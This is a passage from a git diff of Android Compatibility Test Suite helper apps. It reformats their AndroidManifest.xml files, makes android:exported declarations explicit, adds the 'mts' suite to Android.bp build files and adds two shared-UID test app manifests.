         <receiver android:name="android.telephony.cts.sms.MmsReceiver"
-                  android:permission="android.permission.BROADCAST_WAP_PUSH">
+             android:permission="android.permission.BROADCAST_WAP_PUSH"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
-                <data android:mimeType="application/vnd.wap.mms-message" />
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
+                <data android:mimeType="application/vnd.wap.mms-message"/>
             </intent-filter>
         </receiver>
 
         <!-- Activity that allows the user to send new SMS/MMS messages -->
         <activity android:name="android.app.Activity"
-                  android:exported="true">
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SENDTO" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SENDTO"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </activity>
 
-        <!-- Service that delivers messages from the phone "quick response" -->
+        <!-- Service that delivers messages from the phone "quick response"
+             -->
         <service android:name="android.telephony.cts.sms.HeadlessSmsSendService"
-                 android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
-                 android:exported="true" >
+             android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </service>
 
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.telephony.cts.sms.simplesmsapp">
-        <meta-data
-            android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener"/>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.telephony.cts.sms.simplesmsapp">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
-
diff --git a/hostsidetests/devicepolicy/app/SingleAdminApp/Android.bp b/hostsidetests/devicepolicy/app/SingleAdminApp/Android.bp
index 83588f6..487a3e4 100644
--- a/hostsidetests/devicepolicy/app/SingleAdminApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/SingleAdminApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsDevicePolicySingleAdminTestApp",
     defaults: ["cts_defaults"],
@@ -36,5 +32,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/SingleAdminApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/SingleAdminApp/AndroidManifest.xml
index daf7862..c35bef1 100644
--- a/hostsidetests/devicepolicy/app/SingleAdminApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/SingleAdminApp/AndroidManifest.xml
@@ -15,20 +15,19 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.devicepolicy.singleadmin">
+     package="com.android.cts.devicepolicy.singleadmin">
 
-    <application
-        android:testOnly="true">
+    <application android:testOnly="true">
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <receiver
-            android:name="com.android.cts.devicepolicy.singleadmin.ProvisioningSingleAdminTest$AdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name="com.android.cts.devicepolicy.singleadmin.ProvisioningSingleAdminTest$AdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
@@ -37,6 +36,6 @@
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.devicepolicy.singleadmin"
-        android:label="Managed Profile CTS Tests (Single admin receiver)"/>
+         android:targetPackage="com.android.cts.devicepolicy.singleadmin"
+         android:label="Managed Profile CTS Tests (Single admin receiver)"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/SuspensionChecker/Android.bp b/hostsidetests/devicepolicy/app/SuspensionChecker/Android.bp
index 02ff6ba..14e6f55 100644
--- a/hostsidetests/devicepolicy/app/SuspensionChecker/Android.bp
+++ b/hostsidetests/devicepolicy/app/SuspensionChecker/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_library {
     name: "cts-devicepolicy-suspensionchecker",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/devicepolicy/app/TestApps/Android.bp b/hostsidetests/devicepolicy/app/TestApps/Android.bp
index 153fd44..3d02d89 100644
--- a/hostsidetests/devicepolicy/app/TestApps/Android.bp
+++ b/hostsidetests/devicepolicy/app/TestApps/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "TestApp1",
     defaults: ["cts_defaults"],
@@ -37,6 +33,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "testapp1/AndroidManifest.xml",
 }
@@ -62,6 +59,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "testapp2/AndroidManifest.xml",
 }
@@ -87,6 +85,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "testapp3/AndroidManifest.xml",
 }
@@ -112,6 +111,31 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "testapp4/AndroidManifest.xml",
 }
+
+android_test_helper_app {
+    name: "SharedUidApp1",
+    defaults: ["cts_defaults"],
+    //srcs: ["share/src/**/*.java"],
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+    ],
+    manifest: "shareduidapp1/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+    name: "SharedUidApp2",
+    defaults: ["cts_defaults"],
+    //srcs: ["share/src/**/*.java"],
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+    ],
+    manifest: "shareduidapp2/AndroidManifest.xml",
+}
diff --git a/hostsidetests/devicepolicy/app/TestApps/shareduidapp1/AndroidManifest.xml b/hostsidetests/devicepolicy/app/TestApps/shareduidapp1/AndroidManifest.xml
new file mode 100644
index 0000000..141c8af
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/TestApps/shareduidapp1/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<!--
+  ~ A test app used for when you need to install test packages that have a functioning package name
+  ~ and UID. For example, you could use it to set permissions or app-ops.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.testapps.shareduidapp1"
+    android:sharedUserId="com.android.cts.devicepolicy.shareduidapps">
+    <application android:testOnly="true">
+        <activity android:name="android.app.Activity"
+             android:exported="true">
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/TestApps/shareduidapp2/AndroidManifest.xml b/hostsidetests/devicepolicy/app/TestApps/shareduidapp2/AndroidManifest.xml
new file mode 100644
index 0000000..c978c86
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/TestApps/shareduidapp2/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<!--
+  ~ A test app used for when you need to install test packages that have a functioning package name
+  ~ and UID. For example, you could use it to set permissions or app-ops.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.testapps.shareduidapp2"
+    android:sharedUserId="com.android.cts.devicepolicy.shareduidapps">
+    <application android:testOnly="true">
+        <activity android:name="android.app.Activity"
+             android:exported="true">
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/TestApps/testapp1/AndroidManifest.xml b/hostsidetests/devicepolicy/app/TestApps/testapp1/AndroidManifest.xml
index ca2a8be..9a321f2 100644
--- a/hostsidetests/devicepolicy/app/TestApps/testapp1/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/TestApps/testapp1/AndroidManifest.xml
@@ -14,25 +14,25 @@
   ~ See the License for the specific language governing permissions and
   ~ limitations under the License.
   -->
-
 <!--
   ~ A test app used for when you need to install test packages that have a functioning package name
   ~ and UID. For example, you could use it to set permissions or app-ops.
   -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.testapps.testapp1">
+     package="com.android.cts.testapps.testapp1">
     <uses-permission android:name="android.permission.INTERACT_ACROSS_PROFILES"/>
     <application android:testOnly="true"
-            android:crossProfile="true">
-        <uses-library android:name="android.test.runner" />
-        <receiver android:name=".CanInteractAcrossProfilesChangedReceiver">
+         android:crossProfile="true">
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name=".CanInteractAcrossProfilesChangedReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.content.pm.action.CAN_INTERACT_ACROSS_PROFILES_CHANGED" />
+                <action android:name="android.content.pm.action.CAN_INTERACT_ACROSS_PROFILES_CHANGED"/>
             </intent-filter>
         </receiver>
-        <activity
-            android:name="android.app.Activity"
-            android:exported="true">
+        <activity android:name="android.app.Activity"
+             android:exported="true">
         </activity>
     </application>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/TestApps/testapp2/AndroidManifest.xml b/hostsidetests/devicepolicy/app/TestApps/testapp2/AndroidManifest.xml
index b6f934c..111cf20 100644
--- a/hostsidetests/devicepolicy/app/TestApps/testapp2/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/TestApps/testapp2/AndroidManifest.xml
@@ -14,25 +14,25 @@
   ~ See the License for the specific language governing permissions and
   ~ limitations under the License.
   -->
-
 <!--
   ~ A test app used for when you need to install test packages that have a functioning package name
   ~ and UID. For example, you could use it to set permissions or app-ops.
   -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.cts.testapps.testapp2">
+     package="com.android.cts.testapps.testapp2">
     <uses-permission android:name="android.permission.INTERACT_ACROSS_PROFILES"/>
     <application android:testOnly="true"
-                 android:crossProfile="true">
-        <uses-library android:name="android.test.runner" />
-        <receiver android:name=".CanInteractAcrossProfilesChangedReceiver">
+         android:crossProfile="true">
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name=".CanInteractAcrossProfilesChangedReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.content.pm.action.CAN_INTERACT_ACROSS_PROFILES_CHANGED" />
+                <action android:name="android.content.pm.action.CAN_INTERACT_ACROSS_PROFILES_CHANGED"/>
             </intent-filter>
         </receiver>
-        <activity
-            android:name="android.app.Activity"
-            android:exported="true">
+        <activity android:name="android.app.Activity"
+             android:exported="true">
         </activity>
     </application>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/TestApps/testapp3/AndroidManifest.xml b/hostsidetests/devicepolicy/app/TestApps/testapp3/AndroidManifest.xml
index e9b824a..541a6b2 100644
--- a/hostsidetests/devicepolicy/app/TestApps/testapp3/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/TestApps/testapp3/AndroidManifest.xml
@@ -14,25 +14,25 @@
   ~ See the License for the specific language governing permissions and
   ~ limitations under the License.
   -->
-
 <!--
   ~ A test app used for when you need to install test packages that have a functioning package name
   ~ and UID. For example, you could use it to set permissions or app-ops.
   -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.cts.testapps.testapp3">
+     package="com.android.cts.testapps.testapp3">
     <uses-permission android:name="android.permission.INTERACT_ACROSS_PROFILES"/>
     <application android:testOnly="true"
-                 android:crossProfile="true">
-        <uses-library android:name="android.test.runner" />
-        <receiver android:name=".CanInteractAcrossProfilesChangedReceiver">
+         android:crossProfile="true">
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name=".CanInteractAcrossProfilesChangedReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.content.pm.action.CAN_INTERACT_ACROSS_PROFILES_CHANGED" />
+                <action android:name="android.content.pm.action.CAN_INTERACT_ACROSS_PROFILES_CHANGED"/>
             </intent-filter>
         </receiver>
-        <activity
-            android:name="android.app.Activity"
-            android:exported="true">
+        <activity android:name="android.app.Activity"
+             android:exported="true">
         </activity>
     </application>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/TestApps/testapp4/AndroidManifest.xml b/hostsidetests/devicepolicy/app/TestApps/testapp4/AndroidManifest.xml
index ae8adec..5d08e7b 100644
--- a/hostsidetests/devicepolicy/app/TestApps/testapp4/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/TestApps/testapp4/AndroidManifest.xml
@@ -14,25 +14,25 @@
   ~ See the License for the specific language governing permissions and
   ~ limitations under the License.
   -->
-
 <!--
   ~ A test app used for when you need to install test packages that have a functioning package name
   ~ and UID. For example, you could use it to set permissions or app-ops.
   -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.cts.testapps.testapp4">
+     package="com.android.cts.testapps.testapp4">
     <uses-permission android:name="android.permission.INTERACT_ACROSS_PROFILES"/>
     <application android:testOnly="true"
-                 android:crossProfile="true">
-        <uses-library android:name="android.test.runner" />
-        <receiver android:name=".CanInteractAcrossProfilesChangedReceiver">
+         android:crossProfile="true">
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name=".CanInteractAcrossProfilesChangedReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.content.pm.action.CAN_INTERACT_ACROSS_PROFILES_CHANGED" />
+                <action android:name="android.content.pm.action.CAN_INTERACT_ACROSS_PROFILES_CHANGED"/>
             </intent-filter>
         </receiver>
-        <activity
-            android:name="android.app.Activity"
-            android:exported="true">
+        <activity android:name="android.app.Activity"
+             android:exported="true">
         </activity>
     </application>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/TestIme/Android.bp b/hostsidetests/devicepolicy/app/TestIme/Android.bp
index cde29f5..07915b3 100644
--- a/hostsidetests/devicepolicy/app/TestIme/Android.bp
+++ b/hostsidetests/devicepolicy/app/TestIme/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "TestIme",
     resource_dirs: ["res"],
@@ -28,5 +24,6 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/TestIme/AndroidManifest.xml b/hostsidetests/devicepolicy/app/TestIme/AndroidManifest.xml
index 28f4a52..f63f46e 100644
--- a/hostsidetests/devicepolicy/app/TestIme/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/TestIme/AndroidManifest.xml
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
 <!--
 /*
  * Copyright 2020, The Android Open Source Project
@@ -17,27 +18,29 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.testime">
+     package="com.android.cts.testime">
     <application android:label="Test IME">
         <service android:name="TestIme"
-                android:permission="android.permission.BIND_INPUT_METHOD">
+             android:permission="android.permission.BIND_INPUT_METHOD"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.view.InputMethod" />
+                <action android:name="android.view.InputMethod"/>
             </intent-filter>
-            <meta-data android:name="android.view.im" android:resource="@xml/method" />
+            <meta-data android:name="android.view.im"
+                 android:resource="@xml/method"/>
         </service>
-        <activity android:name=".ImePreferences" android:label="Test IME Settings">
+        <activity android:name=".ImePreferences"
+             android:label="Test IME Settings"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.testime">
-        <meta-data
-            android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener"/>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.testime">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/TestLauncher/Android.bp b/hostsidetests/devicepolicy/app/TestLauncher/Android.bp
index 4d6a2e3..aea24dd 100644
--- a/hostsidetests/devicepolicy/app/TestLauncher/Android.bp
+++ b/hostsidetests/devicepolicy/app/TestLauncher/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "TestLauncher",
     defaults: ["cts_defaults"],
@@ -27,5 +23,6 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/TestLauncher/AndroidManifest.xml b/hostsidetests/devicepolicy/app/TestLauncher/AndroidManifest.xml
index db9de7f..596fcd0 100644
--- a/hostsidetests/devicepolicy/app/TestLauncher/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/TestLauncher/AndroidManifest.xml
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
 <!--
 /*
  * Copyright 2020, The Android Open Source Project
@@ -17,9 +18,10 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.testlauncher">
+     package="com.android.cts.testlauncher">
     <application android:label="Test Launcher">
-        <activity android:name="android.app.Activity">
+        <activity android:name="android.app.Activity"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.HOME"/>
@@ -27,14 +29,12 @@
             </intent-filter>
         </activity>
         <activity android:name=".QuietModeToggleActivity"
-                  android:exported="true"/>
+             android:exported="true"/>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.testlauncher">
-        <meta-data
-            android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener"/>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.testlauncher">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.bp b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.bp
index e674981..0ca1bbd 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsTransferOwnerIncomingApp",
     defaults: ["cts_defaults"],
@@ -38,5 +34,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/AndroidManifest.xml
index b3a8460..018f51b 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/AndroidManifest.xml
@@ -15,46 +15,44 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.cts.transferownerincoming">
+     package="com.android.cts.transferownerincoming">
 
     <uses-sdk android:minSdkVersion="24"/>
 
     <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
 
-    <application
-        android:testOnly="true">
+    <application android:testOnly="true">
 
         <uses-library android:name="android.test.runner"/>
-        <receiver
-            android:name="com.android.cts.transferowner.DeviceAndProfileOwnerTransferIncomingTest$BasicAdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name="com.android.cts.transferowner.DeviceAndProfileOwnerTransferIncomingTest$BasicAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin"/>
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
                 <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
-        <receiver
-            android:name="com.android.cts.transferowner.DeviceAndProfileOwnerTransferIncomingTest$BasicAdminReceiverNoMetadata"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name="com.android.cts.transferowner.DeviceAndProfileOwnerTransferIncomingTest$BasicAdminReceiverNoMetadata"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin_no_support_transfer_policy"/>
+                 android:resource="@xml/device_admin_no_support_transfer_policy"/>
             <intent-filter>
                 <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
-        <service
-            android:name="com.android.cts.transferowner.DeviceAndProfileOwnerTransferIncomingTest$BasicAdminService"
-            android:exported="true"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <service android:name="com.android.cts.transferowner.DeviceAndProfileOwnerTransferIncomingTest$BasicAdminService"
+             android:exported="true"
+             android:permission="android.permission.BIND_DEVICE_ADMIN">
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE" />
+                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE"/>
             </intent-filter>
         </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.transferownerincoming"
-                     android:label="Transfer Owner CTS tests"/>
+         android:targetPackage="com.android.cts.transferownerincoming"
+         android:label="Transfer Owner CTS tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.bp b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.bp
index d2cb5f3..42c6132 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsTransferOwnerOutgoingApp",
     defaults: ["cts_defaults"],
@@ -38,5 +34,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/AndroidManifest.xml
index e1a6dbb..6a0544d 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/AndroidManifest.xml
@@ -15,21 +15,20 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.cts.transferowneroutgoing">
+     package="com.android.cts.transferowneroutgoing">
 
     <uses-sdk android:minSdkVersion="24"/>
 
     <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
 
-    <application
-        android:testOnly="true">
+    <application android:testOnly="true">
 
         <uses-library android:name="android.test.runner"/>
-        <receiver
-            android:name="com.android.cts.transferowner.DeviceAndProfileOwnerTransferOutgoingTest$BasicAdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name="com.android.cts.transferowner.DeviceAndProfileOwnerTransferOutgoingTest$BasicAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin"/>
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
                 <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
@@ -37,6 +36,6 @@
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.transferowneroutgoing"
-                     android:label="Transfer Owner CTS tests"/>
+         android:targetPackage="com.android.cts.transferowneroutgoing"
+         android:label="Transfer Owner CTS tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/WidgetProvider/Android.bp b/hostsidetests/devicepolicy/app/WidgetProvider/Android.bp
index 506e881..cd0f608 100644
--- a/hostsidetests/devicepolicy/app/WidgetProvider/Android.bp
+++ b/hostsidetests/devicepolicy/app/WidgetProvider/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsWidgetProviderApp",
     defaults: ["cts_defaults"],
@@ -25,5 +21,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/WidgetProvider/AndroidManifest.xml b/hostsidetests/devicepolicy/app/WidgetProvider/AndroidManifest.xml
index 77246b5..9a8f682 100644
--- a/hostsidetests/devicepolicy/app/WidgetProvider/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/WidgetProvider/AndroidManifest.xml
@@ -16,24 +16,25 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.widgetprovider">
+     package="com.android.cts.widgetprovider">
 
     <uses-permission android:name="android.permission.BIND_APPWIDGET"/>
 
     <application>
-        <receiver android:name="SimpleWidgetProvider" >
+        <receiver android:name="SimpleWidgetProvider"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
+                <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/>
             </intent-filter>
             <meta-data android:name="android.appwidget.provider"
-                       android:resource="@xml/simple_widget_provider_info" />
+                 android:resource="@xml/simple_widget_provider_info"/>
         </receiver>
-        <service android:name=".SimpleAppWidgetHostService" >
+        <service android:name=".SimpleAppWidgetHostService"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.widgetprovider.REGISTER_CALLBACK" />
+                <action android:name="com.android.cts.widgetprovider.REGISTER_CALLBACK"/>
             </intent-filter>
         </service>
     </application>
 
 </manifest>
-
diff --git a/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.bp b/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.bp
index 790800b..810cdda 100644
--- a/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.bp
+++ b/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsWifiConfigCreator",
     defaults: ["cts_defaults"],
@@ -28,5 +24,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/common/Android.bp b/hostsidetests/devicepolicy/app/common/Android.bp
new file mode 100644
index 0000000..95cadf6
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/common/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
